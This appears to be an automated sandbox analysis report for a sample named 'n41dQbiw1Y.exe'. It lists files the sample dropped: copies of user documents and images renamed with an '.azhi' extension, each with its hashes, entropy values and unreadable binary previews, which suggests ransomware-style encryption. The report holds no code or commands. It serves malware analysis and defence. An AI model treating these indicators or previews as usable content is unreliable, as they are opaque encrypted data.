SSDEEP:	24:vE0qjc0KZgvf6PBFOpaDbZtDv75ksQhSeoivnedTd03gBIpj7y+UC7O/wbD:s0Yb6P/OcZxvK5hSpaedTdagi57ZUvqD
MD5:	D10CE0BA288D374F0EB18D2F701FF8DF
SHA1:	D0649B2D8E3E9AAFF70C87133FE8CDAE98FFA38C
SHA-256:	DB197375C50179CCB02604BD8AA51504632F3A553E424E4093DAE2313E8CAA8D
SHA-512:	93365D382DBAF5DC9E7A070ED7CB2AD580B75182A7200169E74CD96A4996D4EC9113AD3230B5A45101E728057FD7F740AA7D777B84C84B30835F4E6F2A522861
Malicious:	false
Preview:	IKCRS...l..."...7..VE.+...pQ.7.n..ll..T....X.'9.Yr.%.6h..v..........>$J...7z....)O...?.P~,.%.g.L9cJ.K.....f.....S.A.#..V...fUxG+.#v^5..ql...(.Oq..VO/7...O.2...Y..5.I..#C..1.v..q.rW..O.....p...6...e.P.F.W%......k$..Cu.A.~..2R...FP.v.e.(-f...o$.....z.m...q3..&..0.#@VD...=."......?Z...I\|.2q....P~..Mt....E..7e.......E.$...Y.L.vx.....2.". ...t..iR....HZ2.M.@..Ei.2=.H..C...._o....H.).S.r./..~.G.Mt...............w.L..P.C...K\"p...P+...7.$=..z.........i...%.g...L...'..tVb@S.r...;c..{G^.(.N..m...X..3....gU...a.". d...F.6..7Y).S.s.o...,.b.B.M.3_..Q...u...".p.Gm!_ ..D.....N.s.[j.. L1.t'.. ^5i.N%...q...9.a%...).9........u2J5?/....MO..U..5'...`z_.;.......c.g.....3-.`.+%.......89.$.K.\|.r.%....\|A...\|.F....~y.r..m..v.s.P......c$.9G.r.<.Y.......$Q..%Kr70.w)Q.y[....Hz.E.LP.9....4.!..jQk.U.]......$....G.KC..b_..j.......X.."....7....4..z(....+u.+Ln'N.......={..x{'...,.Z..Y...r.x .u....Mh.c..JT...8...0w.j..J.I.......}.....Y.,..$#ieg...:&.ZzO.

C:\Users\user\Application Data\Microsoft\Windows\Recent\IPKGELNTQY.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858887823808529
Encrypted:	false
SSDEEP:	24:8PrZK5M9t/KWk6uBusjEOqSTUReDY3krW4mXnspKbD:IIMfKWk6uBusjEOqTeDY0Wv32oD
MD5:	FA2C97B30203D49D259C03A994AEE50E
SHA1:	6D8F41FD49EBA1E4BBA6ED06FA4162979C37DF51
SHA-256:	D8631CAECBC365F8AF1CE92F9604448DEB8CD2C884CBB5ECF2A8F0909F4FC161
SHA-512:	BE72DDA526E178AAABAADEE3579A1A13BE65686F6782EB4C6E84EAFB92D98B7BB81648E0E85687D3F96E24332E6385BFF5E65005E274DAF9D733617637CC988E
Malicious:	false
Preview:	IPKGE$..4v9...R............-F....._..]kK?........2......O..1a[..>2.3...Z...4.Q...9[.L...G.L.UR..... %e....u'9~i.....f....t..-......YgI7..[O.....(.#......n.k..._o...H.n.m.....m...+........o .%.1.H....v0.8A.+.Z...lgrn.m.l...aq..%......I.........:.....E...............rV.....!..0..+..@....o._@..E.J.%Zw:...b.......?.)..&i,.Zk.A.....>.%....T..7R9.L?1ZK8.D.C.....y....b...^.T`}....41.\.s"..}..../....)W.?.J\59.wT..\.;.\.H.\|a. ....#.....Xy.(.=..;.f..1.b..}.x..j..$a.l..J.-..~LX]..5....9.".`o...$Ms.....,....<. ..........d..+..J.I..H.c....kL...P...A..... )$x....A..F.......kF[...5@..V[..w.'....,6....DL..wE...%.....8-.h....x.e.....].......d.r.tt,.Z.u..P...T.6..U...O\V.(g.^..<..g..EW..G).\|..j....kh..;..>I..n...>..v..X..N...#.S.$..c..*(.s._......6Z.Qe.s......0...RIeN.tj}.....6....]f..4.]^.Y.h...T..../]:....a..w...v...uF....y.......y~B...T..h~........U.A[......Z7{..M...j........sm?......N.L...d2l.].2v]...a2k.._...G <.P....cT..Y>....#Vd.$_.O.l\|...# .8"7..IF...w.

C:\Users\user\Application Data\Microsoft\Windows\Recent\IPKGELNTQY.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836825325977933
Encrypted:	false
SSDEEP:	24:Q02XRYbpAS1fjFDSRWfqKPopiBtM7zOO2PIYXkcTUJnLwH3HZsicSJuPdNSmb8ld:Q02BYbpXsJgsiBCa+YXNU9LwX5sicSJV
MD5:	76086000C3A3D5F3CD0B51E217F91C89
SHA1:	435B5F63D16FBDD59FE94260D63B15EF428D59D5
SHA-256:	9D44AC47E575CA2F85DEA9FFAD9A72A406D122FE390DE95353FEFBF0B60762FB
SHA-512:	709AAF19B0238476119625DD4357F6B731188B72F530D104CD69DDA7B6FEEFE8D962A73488E4E167C46E086603B5B7EB7E5193F41EF7B94271736BB12ACC05FE
Malicious:	false
Preview:	IPKGE....4..iQ.P...>v.F_.3....;..n..&.K..~.....tzQ..I.P,.+.U.g-i..DB.......`/...ye{hl..>.;......Y.&.....G5.....zl.~./:....{.. ..#..aX.-.n%.....%...N..g.`..GG..B-.#. .)t..1<.i.`.9.N....[u.^..i..Z...rEE..O..s..L~.....t..1..$......._.oNx..^..ELE.}..m\....1Y..T}..[..o..K....a@.9.$}...t.k..O.....Qw.Sb.Y..;&\|.}...#..0.\|.X.b..<.-.../..lz.tA\.GN..]Y.d...=..2..D@.e,...^o.Z........ ..d...z...[........}.G...`....~..!a..[9........-.0....%..:0.6..x.?. .Y....a..&Z..s..,...S.....4...%.O......./..d.w....#k...q..u.8.sh.FC.q.h.....A.6...FX7..x,V..5A....H...me.b....t..X.r...-..$.I..D.D...WN....k%.W.......$...C..G.].;..)q...iE1...5.__..).R.0......kZU......7.E.cw..}............=.Q-.m.=m.....N......#..oK......Y.. ....x..'.........=f.^...k.b.n...%....>...3...&.s...'...y8Nt~. {W]...2.^..:..L...z..<.5.a...bu.....]..w.........P.=K..........v..}D9>. 2.B.Y.....HQo..p.#...s.[.!.<j.6..?..OO.-u..D.V.D..%......wx..1..Q.,.#.3R=...`<.....,gs.....n5.8..?K..d)O...E..Y..s

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84185747032604
Encrypted:	false
SSDEEP:	24:peHMTwiGapNfGXleett6jkmgY8g2YENBsJpX0lCsv5W5olOQL0EVVmMvCvgsQ/4O:peHEv1GXIett9mgY8WymJpX0lpdlwKVb
MD5:	17B42ED111337C1E4216BA298465CE1D
SHA1:	17BD8B0496516E5602927FC8FA2EDD35756E273B
SHA-256:	C1FFB940F3F889CA822B1AA67EC4FAF76054E6837E07D21FC9DF9956B26696B7
SHA-512:	C41C38EA3A85BE7A2671444E622783C75B2C3741234209BC129281EFBD6110F470C63392199DE2C687F14EACE18A7A1CBD883582789B6F26286514405287CA93
Malicious:	false
Preview:	KATAX..A0..o..Yt..j.3.2../&........W..F..k.P.y..........A.[.=..<..xhR._U%.AbR...G.....i..[sl.._Y.X....E"..a.v.....<.EH...u...~..fo....>...xCXaXC.w..G1.0FQ..Ue.]..O.c....#...eTp.L."t..........[.Z...(./.K..._....J9....jGQ.T81.d.5#.W..AM?@....G...q....(5eA..F...{5`m.HU.uS#...e..T...nu....K..c1B..Y."(....>.H...2g.V......Z..".......7W..s.E...yJ`....sG...1.Y..K..+A.....yik]...y...B........I...:...?s..8.Tx..0./wvBV.!s..:GY..k..[../........X..2.j2..h.....7..Z#.7.7Y..Cx\|..L.T......c=.....b..5.w.y.....U_.......pp.+@Re{W.<....cL..#C.N.V.,;.3n..1..^...w..{..E.u.!1r..\...Hw...O.]........Mx...]..5.....\.W.U.s.@..J.....'..R.^q..e..z.XhFBe.\|.r...X.5.O....?L.I..za..u..6........\"7u..+......\.]...&..d{..`=...v\ ..C..@....k.V.......w...t6.Fq..S{.k.0...).....`..g..c.....=.c:.mF.X..U8=..C.t..;@.u...9..N.0....6..7..o...Q.....^W..}`..A`_.....F......+.s..J.K...![..@7.dK.z.K...9N......oa.....9f.W....l..) .>WR..h..f...\.....J.`.{...Y..4..eo...y.zp_...

C:\Users\user\Application Data\Microsoft\Windows\Recent\KKCTUQOTUB.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874726955825457
Encrypted:	false
SSDEEP:	24:kDJ98SGF8iZx4CPfn9NDLVhgW9jSDpOPKHhi+OUu23Bl5NiIi5Z4kO2mD5GvbD:OJjkZvHVtJ2rOOj5N5ij4kOaD
MD5:	A3B0CC2EFB053A219D1B62AB9DD6DA8D
SHA1:	DD4A6664E9E3DF2BBF35B46B58089AF4DD84E395
SHA-256:	7A4A5C976C474A5DFC40A395B3A08E743F3FDD3A6DED9951B3795138DB3CA290
SHA-512:	F31D2C60310592027941021F30C0C33BA0C16510F02F7D286C7BB53F2E7203ED6596E349AF74276560BFB1DF25891AE8211BA19CC2BDC1F077B7C361FA7E4698
Malicious:	false
Preview:	KKCTU...5...[(6.....?.....WQ.KD..[.....Z.......'..........z.!6E'S.R.p8....6.."#r.Fp{....?..TA..x.z../j.c\.\|....59n...n..o.C.......n.L^3...>...x.o).N..%....y.].ipM..},..7\|%..E...dz.....\./l<\gOe4.E\.R...."/....._I.bui...v".a.-.Y.+.mT..+...}-...1..q>iR6.z....P.. 3..z.F.~.7..YZ......g....Nv.....t..Y0g.9.......GC.n.'.ma'........v.....l......06......i.'....&+.....lUL..y..#.2.....#J.X...?./2..30P...lu....A.{@Oy...T..p .81c.(.}..S..\....M....E.c..qE..3..f....a....S...f..:...fS...._d.........z......moO.n.w..%.I....+3..".\|.....K>.....vW.I.V..IM.......5.x7`.....wd.....z."..V.)...#N]S../g_...._....5yB...1.....q%.<.a..p........O.%.Jk...n...+D........b...y.8>3.?...}.dq...8ld........+.V+..a..\|...\|....p.Dzv..E..._........v2.B.2....x;..\.f.R.1.G....x.b...W].........A2....L..X!.......=.7..fa....u.].a..\|.x/sQ.A-{z\|H.^3]....V..#L.]k....A..J.'...GxLG.......uj..K.....k.....MEHi...$y5H..b.[I....G&. {....z......F.7..2.8o.M9.B..]..`ov=.J..1A

C:\Users\user\Application Data\Microsoft\Windows\Recent\KZWFNRXYKI.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840209904313372
Encrypted:	false
SSDEEP:	24:nYMjja1gHL+cxUWTbaWBM4GrIbv+Z/scLdgujJPcf/Mu4LCntnqebD:nn+GHL+cP5Be8b/c5N108uRnQcD
MD5:	32418CDFEFAF10478C6D8739067D0939
SHA1:	34B0D0AB836B066F85C7838ED078D8FC27D2E3C0
SHA-256:	116CBDC8B665844FE3C8B41CA3FCF7414BAD47BBA4A9AA60403112AE4AEFF267
SHA-512:	EE309E35E627DA456ED131A6D17B73CF90691A85417B796B822F4066469201B7A471BA6D7C3903457265E7C21B2FE6F56BF3181B470EF699B5C8D88D839D6928
Malicious:	false
Preview:	KZWFNs..t]..f...a.....C..f.......0^5p..H..X.J74);.V.2...3'......\|k...C.:.]n.D.WqD....b..~^..B...'.]..s..[..N0<..J....1...;.V...t..N.l.\.Z.m.......kG\|.y..,...,.2..q.j...P.V#E..W....z. .O8n..=L.=.Hf...&....j...k.\:D..v...&=...Z...l.=......g..%B.9ww.S.O.m...O.y.z.{1...e...}..i.Q.....H..39..&Qdw.....O..K.\H.p.X#qSB..b.(.c...M".B(U......G. .k.....a3^..............j.:Fi.....r....5.pl....;E...[.>4y..n.%:c5/...%...s.....E..fV.l"t.....s.A..Y..?9y.,...p..f.D...B!%\m...)\/.....&..3..!..X..a.....j-...$...[.?....^.@<.m..FN...."..u...hk.t...Hk.....O...T..u.,...<5....@.e...Gs,9.bCk..D.)...}.......Y'uc...!..h.....n..t../..?.d...4............U<.!.l..~[.....^.2...W@..=a......._.25.X. .:.2...gx...].h....b4..!.M.[Y....H.......J[h>.....&McC.<.{...'...m...;..rf":...XQB.........&j). .1.5....B....3<u......t)z...z.k.QEZ#.%...et...3*Jd....+.....P...l.l.I.G".6..4..a.?I.....y..HFF...Nu=..Z.W..'..IA...d-.i.-.?...1..$.3..\|]..x.o....?N...(.Ja.Uj.iC.c..d....1.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KZWFNRXYKI.mp3.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835345517388859
Encrypted:	false
SSDEEP:	24:dlcMJUOILrca4savq1PmmT625XHOLzSqf8w0XL1M3747nENU0zMG1VEBNAPh5qFX:vI/ca5x1B5XuP38/16zMG1A5D
MD5:	36819736CC50575D9E57E94F2CAD187A
SHA1:	586E8AF1810705C07AC78CF35CABB737518E38D8
SHA-256:	5951AC4041D652AD437AB7866DFE9B54B4F4BCD2A31D0C8719AF9AD5498BA3A3
SHA-512:	1CA9DB3538A48E72AD2179B6580653FD893182DBAC4684F5D24715D811C0AA079469A8C87DE079757B62EA194C3F831DC95BF67BC4B3A0C46A4B3900D27507F0
Malicious:	false
Preview:	KZWFN...q..^.<.c...].....u..<cE...7&.l..70..uP.#..f..1..."...C.[....3.......}h..[E..@}ze.x...n/..-j...q6..r.8......v0.......L. ..ty^H.q.f.\|. [$a..s.F..}F..)/._.<./...a.?.9...o.6+.JqH.n2..yq^...."S.s..Qvf.Gr.....,.&P...$U.GI.w.........Ufb..d`.uF00`.......?.c...Z..{..P.Dr..x....f.1o%.w.....(..........\hqUe..p..D.4...+...X.....}.9.bv....`.....>.J.x.d.l..........O....(.~......W.C..e"...t.]./H'B...g...r@...........(.....s.q..X.O.Q.....,?+.E..e......q1&.>D/....%..~g..................D.A.r....x..ol>..MA....:..s...D.....t..;.KB...C..?$+.w...Dq.m.n...\.-Z.....0...Q....................<.+..(..H.F..Tu...<tv.y...t.\|A.#[R..q.].h.........@..87Eu...`)7......:.....U.....1... U.q.'.cY.Y..DfW.V.@H.o.....F.5........S...=3..T....r..n<\|)..].Q.[ce....@S...P.THF...=.....Ih0.T.`.....,PnR..z.......=...:6....t...X\.gZf..E2V.V..G>...B.....0....s....;`,.g..'...d.....9.R]H....k.x.]Mz?{.J..{.E.......c.p.F.r.rgU...\..>.i.!...B...d..9T.../..C...}.A[...p. &9..2......

C:\Users\user\Application Data\Microsoft\Windows\Recent\KZWFNRXYKI.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873877024111321
Encrypted:	false
SSDEEP:	24:aIB/fY5O5IBCEek59rTHw9y0dclvS/QFGH8y6MWAqQbD:hB/fJm/GelvhGH8y6M1D
MD5:	3D3D41F70DA1B1722F7B8E2474F9E286
SHA1:	329D0023FE427696084E4CBDF87D67B50B947ED9
SHA-256:	6C9D4E117F2289D92BF49C9C9BFD97517D33E0C159136746296D6746754D74AE
SHA-512:	00FDBB66B2A43EB5B9496A31F31930CEECF7184FBA897ABA8FD651070EEA06EB482F2359873FA8AA6F997527E04CB6D610A2A56CDC323B207EAD89072B033E01
Malicious:	false
Preview:	KZWFNT....R.!8..9K.;K......?..y./..+?....Q...9...M.+i.....n3.......}.+#..{;..MHUR..V.....=Y)..j.=.J...!.h...6)Z.mo.#bS.i.3._I...yFQ?Ii.S...T4.hz.CP.$w,E..)i....EG..3.Y.{..24..:{s.T.;.......=D.(.O%........x...h.Y.......H.........#.I...1....#.!.Q.4.<...u..Ae..T.......(K.(?N./.@..%..H&..>gc....l1.F.+L.+.......2..x&.}de......u.v....B.P.u.Vai..`.....[.^o..!...C$..4.a#../.~L%-E..C......F4.c.Ou....AzS.(.w.n..~..+i..J..-.pq0.....:s..n....g-:..8g.3.!.N....A.t..^v.......'t....5...}..V.p.G...oR(.B.(....e.>.0.)u.....J.7...............6.3....A..$].;....IC....xi.Y.....}A2..%G.......)p;2..yLq..;^e...Yk......J#.. ..A..D.,..F................T....K..?w.....oA..TULz....k.@34.....D.G.m...p.f.b@8.\|...}.......a..'..2XNB.%.i.......k,.k.B..2K.....P'..~x.Rr...j..6".2).5.%..." .r.....k..4.F..!.{..._k.^......Q..5...[....)..k.4....(.q.'......NV..._.-p..a.....G...v..I.`.s.........N.G...M...;...U$J.IX9..bL.!v.."..<\|...Pr=.H5....:Pu]em.(.....9bPnU.5..W3/..\|

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831519127878997
Encrypted:	false
SSDEEP:	24:l62kf7fKOBd5KpTQEJrovLvea/DYXjqz+ZSO2GZYLekDP5nDGbD:IBf7SR9/uDeaMTqz+X2GZCee+D
MD5:	543F78ABCC33E3CAB180D07F201DC522
SHA1:	4CDB9463BC2B6254DF7474429A0D4E6CF539327F
SHA-256:	2E43006A2655B06FAC5ABFC4597F7D5127C018CD5F66D0DF3E559F566E325F1A
SHA-512:	58334D14D46524246C58DC87E8733440CA96B8BA22B4065ADB6C428E541D5A83B0E135C091630AD975A4FB82405D031D553D649913B729EF682E238AE0EAE19C
Malicious:	false
Preview:	LTKMY.z..H....;.y.T..C...\....e4y...9\}E...u6\|L.1....2.....U..X.....H.O..m...&../..........j[...G=...\|.}.I.}....Q...d.._.).O...A...5.h........>.u..DZp..U..+..A...Q...)...n..\|`.~..V..2..y..j...!7.."...v.+Us...L...W].'Ip.m...-u.S...ms~..zn..9-.._..!.Q.F\..N ..8.9../.`.H.D{....6.3k.3X.._.j.g....R.=l.............P.....3..J.:..nE....T..C..K..h.]Ghd...T.J...!(K.....g...8..51.k.U..\|9v.F....0b...v.L)M.... _.G.....z.^.fu...`o.4..:~q.s4.?.;..H.j.z{(.e.{.g........c....!.g..B..g.-.:....X...).K.....8UUcuUyF!.....Y..\.0...........-...U..........O..WO.(.?_..FZ'd.G~..sas....?.4T.`..p.......Y.G..[...28.....%X.........?.3...d.....+s...5.....)dZF.p...o.Z.Z..\|.UO...OWH..?q..h.6A.q.....{..SZ:. .7.%2.I......L.....T...%.C...Z.2...L.C....m...[......F.{{I.Pw.....I\.5.IP.!"....97G...c...[C&(.....U~.$t..r.L.\|...'....H.,......{G;\|....V.6..{i..U...ih@.........g.[{`...-9.!..]9....E.......*...6UB.1\..8..n..L...F."......m4J.C..._..9B...w.\|.....<f{..

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.xlsx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845319051900881
Encrypted:	false
SSDEEP:	24:KgY8jFa8dkoU3CAj16AlXgm6xBNjAURBCS0Emq4SIPTuqlFQls9ZM4yvEIbD:KgnaNjyBNjAW2PTuqTQs9a3vJD
MD5:	4C2B330755FA3743149AAD5982BFA1F9
SHA1:	8FF291586B5D9752E480B7645D582590749F9D3B
SHA-256:	9813AED5B18F2A2AD112DB64905D71E1ABDDA54403DD4AE16D0DF08B9965DFC8
SHA-512:	EAD7ED5B7238B09EA5707AE0EEC5A8E1B25C2E385D600A281B7B19F565BCF1807F702DFD54C6BEAD8B1EDA0B5E35C0280400DF1E18B151F7758AAF8896348C6F
Malicious:	false
Preview:	LTKMY.5..+....,..BX!Va...-`.K! ^q..[...-.u...FqQJ"%.m..i..{.......K=tt8..8...W.../..T........w..Z.'7.C....3...d3....<..R..<....<..^....Z.... i.PD..e...I.....z[....1n....vj.M.^2.ebs..VNO...pl..{i..~.I.......@ ...V......w.^.g..:A4e\|......T.M.(...z.....fw..I..!......\|.]L.$'..>..w8...v....cQ,..{..!..+..u..Q....O.H.....ZH.=.R.t@..F.bl..X........q.....m..(g.......%.h.21:{.. $%....W..=.s.....ByCC:`.....$.s..Gj).qF.c(....Z5o....?.=..u.e.S{u1....~............W0u.[.F....._q.=.Ck.......b....<."&c.5...c.$]CbY....T.C.......Y...E.i...t8.>.XP.A..9kk^Hn.t)...?.6.........Q.......Q8.R..7w]..N........]..X...G_.J#.oRpCMUmq.I.it.P3m..5f..W../o{9......q.[.]..:ar...,..^.b..=:'#..w...g...GC....!J... .......7J5...D.~..v..P..dN.P...P.}0.M.M.&.:.....^.T...d..... .n...{R.f....=m.7...f@..Q...1..aL.7X.z....78.yu.R{.P.a...".t.P"s.\....z...2^OW&..q.&.@6sA.......E.) .Q.Aw.0.i2..zs...b.....Q........}...D...D.=X..".....?...../.F.\..0...U.......2.....nh.ft.o.;....8}.

C:\Users\user\Application Data\Microsoft\Windows\Recent\MVLAMAIDGQ.jpg.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840367292967471
Encrypted:	false
SSDEEP:	24:9wWnPLtZGpoA+sRisqIE6Wdy7v1/X0VEryABUqblrIrUK+txaTOdbD:xP/GWxC5s2kQKWxaadD
MD5:	1CE251BE2D9D030F2772B6A24EE34B00
SHA1:	C893B2AC90D820D1B4C7B03940D66A2365175F98
SHA-256:	0968529E4CAA4DF9CFAEE534B73239B9C367CBCF90474DBAA24F946D75FBD82E
SHA-512:	6BE8AA0FDB7C7F043C8001598177AE159D83C8697B324259025F2F419E43FE175955393A225A72C78A8D9376A89F088761BE9C71844CA0B4ACD379CA994C3FBC
Malicious:	false
Preview:	MVLAMT{o7....lS.;p..`..5..".Q#<.b=..b....HC.........d.6#Nd.]..),K4.D#f.u.'5n...3......O.3.......;.I...57....T........E...~.T...0\...}.yl,.}B...Q.4f...x.+.D.7...#..3..H>Pa>...:.W....No..{.n..\.].69=.......,.3,.o...V.k@...zE.6...m6..Ohm..2.b.UVD9..$..i......>!..mBz..R..4;aG[Q.....j..x..aQ.6....4l....g...G..c..K.{Y..\z.O\.u..%.....r]...c....\|..I..X2..V;.80n0c]......_.v..U......'..kD...<.B.~0#.P.....t.....Wt..N.gP:l=...`..e&o.+J...g.....q6>.ES.\|DB.{M..9..[K.t.......y.x&K...`ZU.o..b..0.v.<.....B.J.n.#.L[..P...k..Zg}(pAS..%...E.2k8..yf..........1Z..Nq...c.....%.g..n..H...z....6l....].$.....#..J..e.Qx...*.z.M:...S.8.$.r..75gt..@.-W......>......../..A..q.b..>.I./....B6.;..jLM......K...U1.QiS..>.D..9....=.@....v...jP.j..........;.N.9...Z.4Ue..k.!..5.5].XY..G..-...\..'i%..(....1....oA..`..._]...k.....b...k.1.xl8..c...O.....:w......2..l.j1@._..U2..........j..K.Ds..J. ._.. .=.7...p..N.LZ...bU;...k...J..M..6{.....)...:.Z..E...~0CSP...WK.H[..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NIKHQAIQAU.png.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862818158191942
Encrypted:	false
SSDEEP:	24:QJoEvkmXE8jeFixoniK5C8EI+EmCpzUYBoG9fNYWCHyqPl1nAERO7VS10RibD:coWkmXPiyonjwjEkYO8fuxVkU0RwD
MD5:	45AE71BF96278C93AFE3B0338F619556
SHA1:	66F4E1FC18213ABFDFCF3E62631183F6ED2C8052
SHA-256:	4F335ABEA297B698ECF6BA410FBF9741D82C44291BC5EE2D6D7215CADE59718F
SHA-512:	3C524C9A1FBFB714DEABEA9A7FD28554A3E4159DAA7B3AAEDB526E8179F5F0ADCF4243051201D6D2FB2530D32F0B9777AA6869A990701CBA6CA98D63F2667DCF
Malicious:	false
Preview:	NIKHQ..c./.....l....c..)..Q.~..J...t.>.6.+..w8Bl.........3.,.<....!..0}.#...*....r......(...T..y.P{o.\|..6...^{.S[U...F..J.{..=........=..H..g.i.>.$..x..m.QxO..'R..:..C.<..2.. .)rs.7...%..Cw......2fZMp"S.L... a.3\|Ojt.......l............\|.;I..vx....&.3....sZNs.>c......Z.m....,n..B.. ~l.^.xn.d..{{..R........j.......u...!.....Z0...$.. ...m...F.......7.o.d..[.....d...g..A..x..z.Q?`.#&)H........a.../Q...:......m-9$w.\g...6m...n..c=2...=M..).`.PE..j.[..c.......o..........~G7...K.......G...z..."B.F%.Nt....O.0...T$..X.'z....././U..(O.......>.8..S/..._.....@<..HIZA......OK...-.7..J.....w.C.t....\.t.C.[.q.p.e.k.xe&{...Z.&.5...oQ....V^...g;...<;Z4..E..&.H....tT7....8A\.....5.Y...k>...3iF.@u.S(.......C..d0.....p..0:..9...g...`...Gs.t......J.......Z.....t.~i..go"....yjG2<.H.e.0cv.n?..k.q...cj.0.....#NR..-...HP.yGxW...&.:....E...g.a......@n.....?.A.,..%..A(;.ly..(....p...l...e8V:Y.(w. .H.[b9W...N........Fr..jg..Q....X.U1.VF...B...0:....S".(.X..".

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862372420518601
Encrypted:	false
SSDEEP:	24:MHXxRMeiSdOrt8J8eD/hQNh8t+LgbtE9QEnYGe70tdwIpyReWGL5HBQr8ClqGCbD:qXxRjRJegGNjgm9RYOtFyR5GLUr3xQD
MD5:	BF8C6B03F57D072C884AAA163F15FA05
SHA1:	C8CFECC88883B18DCA0CF06A77B5BAF7250360D7
SHA-256:	3F89C4A2270B9F7DCD370E02455919150E338D43B77272E50EFFA8E2FBF4D9CB
SHA-512:	5F8706B68F7C6AD910139FCC1603A367087F8ACECBD6B0D707444B9B6FF7F9AE092221C6E155D2B1FBDC74C15FC88513462D3FE0A047E1FC5E05DB089903580C
Malicious:	false
Preview:	NWTVC..S.J.B../...g......n6..T.Y...Q....&AU.y.v?g.9M.....>...:....!..\..'+@.W..^m.`..O.....9......P..........4.....U.L.x.......e.....2.O6.!......ZY.^..=o.mF.........&.y..E"../d2.....X.....c7+n;.L....W.rL...L....n...zK1..N.6.2..<1..=.G]IR5..O.v....5.B_..7.w..!......ndx...n.x...1Ex....j.\|EoW>..~^...8.@tK. ..i..mG%#N\|...n..F...A.1J.R.Q..........@u.Bwn...n<..c.!.e\...o....{)aL.^&......._....'..u.x....g5..y.S.J/......\..Tp.X%.Ra..Z5.z...zKW&..f.U.#.. 3.d.A.#.?.x.=.tl....oy.........u.............$....1(.Ao.h3.q..(.....h.\|..vz.......%....%c.\3.b..j.R..`A.......e..>..F.....n`}.. ....=..Ii.&.{Q.1..@....j,0.Ri...S&.....b....56.\|l...?........7....8...`.....R.3...j.=z.R9...1-.M....!.F7.E.5C...U.....GQX.....-v....R.......@..z..a_.. t..s3F./#T.i..^.2........QQ....k.,E..bp....m.E..I.i.7........./..} .ItBtb;...E..V0..2.$...5...d.../...!.t.!4...,....3....z.Dk..!..>...UW..&.v..@.L.2z......<\.......2..w.K..X............Y.'A...B`..s.^y.V.@...:.R..d.x[

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.pdf.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845468989423264
Encrypted:	false
SSDEEP:	24:/okAG4oDC38VDdsEYeUCGTkvFaEag2jhCplleKSenbD:/oPGK4e0UClh+s3eKSWD
MD5:	2A10D998D9A394A5C187D4B100007347
SHA1:	012E92146B4E4BA997A7F9CBADBAEBFA0ED977B1
SHA-256:	C8F12142D84F44CD4F6E50C2048FBF72C0EA8EC4D33D126B8D57D5BC704A54BD
SHA-512:	D3419D259317AA9854E576CE8E07F05C25C6C9D2DB67539A1D0FD2B3149B8AC3A67F3DDDB161224C8895342F05621092611D3484AFBF93466739F3DEBADA5264
Malicious:	false
Preview:	NWTVCj5.S.crUi.nv.&y...U}.813.....^...+9.....F5.r....S...F...j.".s...:.M..y.4.MH...Ef...."k....._,h..j...s..0.a..xi.....9N..`.......6.=.S....u$..<.:.P...q...@.YuQ.[..I...R.Hf.\|....!..U...Y...6A!.Zc.}.......~..t...P.z.n.FX.u..&...$.F:".wM....5".Q.....L."]E.Gf...W.k.p.;<.j...7...Z$.y.\nV[..Z.J.i89}@...Pv..?.K...\.a.#.D...G.Tn.+d.'.9.A.d...m.#[....&7. ....w{..xq.&..;.Rd....h....L........^?...M....1......;`..j..6.h..s....>^.(... ..N&....#%... ..2...T..".=..h..gdt..Cb.....E.u.l...@.=..F...,.1..g........E..m,.=Gm.y=.x.(b\|.z$.0!>.,...-...f7!.EH._>X../..xYJ.....PrN.(......a.i...;1P...7C~`.oa}GHu..z ^.....i....6....;...r...T...k...-BT.,..hy..x.c....u..um..T3.To:.o.O..E.$/.6....z...j..Gm.J.d...U.y.!..g{........Ggb..v.U............c.\...R."...i.'..yR.s^.A......>&V,A..G.....YS...D.j..8.GWd\|....v.gDE..+I..9.%t.e.E. P....x`T...b.o.D.#.S...S...~..FR....1.s.."4wd......?..f.Y...:..+..o.....r.C ...vM.%.J+.....! ....5...8..H...0r.....P.g...[.....p...~X

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.docx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821347638299435
Encrypted:	false
